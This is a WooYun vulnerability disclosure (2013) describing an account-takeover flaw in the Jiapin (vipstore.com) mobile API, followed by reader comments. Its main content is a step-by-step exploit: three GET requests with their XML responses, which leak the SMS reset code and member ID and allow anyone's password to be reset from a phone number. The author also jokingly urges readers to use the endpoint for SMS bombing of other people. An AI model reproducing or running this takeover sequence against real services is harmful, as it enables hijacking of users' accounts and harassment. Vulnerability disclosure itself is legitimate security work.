当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017952

漏洞标题:双节#佳品网快速重置白富美妹纸帐号

相关厂商:佳品网

漏洞作者: O.o

提交时间:2013-01-27 13:25

修复时间:2013-02-01 13:26

公开时间:2013-02-01 13:26

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-27: 细节已通知厂商并且等待厂商处理中
2013-02-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

2.14乃们懂得~佳品网的东西送白富美女神最有爱了~貌似有些账号还有资金哦~

详细说明:

1.获取验证码
http://m.vipstore.com/androidmember/getpassbytel/login_name/{18980706050}/type/tel
{18980706050}更改为需要重置的帐号的手机号
返回:
<?xml version="1.0" encoding="utf-8"?>
<GetPass>
<statusCode>1</statusCode>
<description>验证码发送成功,请在2小时内用手机收到的验证码进行密码重置!</description>
<memberid>2672454</memberid>
<activecode>member_password_check,594076</activecode>
</GetPass>
其中获取到手机号对应用户ID和验证码
<memberid>2672454</memberid>
<activecode>member_password_check,594076</activecode>

1.png


2.验证验证码并获取更改密码的令牌
http://m.vipstore.com/androidmember/getpassbytelcheck/check_code/{594076}/member_id/{2672454}
{2672454}为需要重置密码的帐号ID,从1处获得
{594076}为重置密码的验证码,从1处获得
返回
<?xml version="1.0" encoding="utf-8"?>
<GetPassCheck>
<statusCode>1</statusCode>
<description>验证通过!</description>
<memberid>2672454</memberid>

00168745b803896429ae24e66485aa14


</GetPassCheck>
其中获得密码重置令牌

00168745b803896429ae24e66485aa14


2.png


3.重置密码
http://m.vipstore.com/androidmember/passreset/code/{00168745b803896429ae24e66485aa14}/id/{2672454}/type/tel/pass/{112233}
{00168745b803896429ae24e66485aa14}为密码重置令牌,从2处获得
{2672454}为需要重置密码的帐号ID,从1处获得
{112233}为新密码
返回
<?xml version="1.0" encoding="utf-8"?>
<PassReset>
<statusCode>1</statusCode>
<description>更改密码成功</description>
</PassReset>

3.png


另外1处的漏洞存在短信轰炸功能,快来轰炸女神身边其他的糕富帅吧~让他们收不到女神的短信。藕耶耶~

login1.png

login2.png

漏洞证明:

有图有真相

login1.png

login2.png


wooyun方证明
用18980706050证明或者用任意手机注册个证明即可。
网站方证明
同wooyun方证明或者自己看代码。

修复方案:

自己改代码,另外接口用get很蛋疼啊~太没难度了!都不用开firefox发包,遨游都可以搞定~

版权声明:转载请注明来源 O.o@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-02-01 13:26

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-27 13:34 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活,亭长放解)

    女神一般不是坐专机去免税店的么?

  2. 2013-01-27 13:43 | O.o ( 普通白帽子 | Rank:105 漏洞数:12 | ส็็็็็็็็็็็็็็็็็็็...)

    @无敌L.t.H 这···我觉得女神宅着才有爱~

  3. 2013-01-27 19:42 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    网站都要关闭了 这个等着自己公开把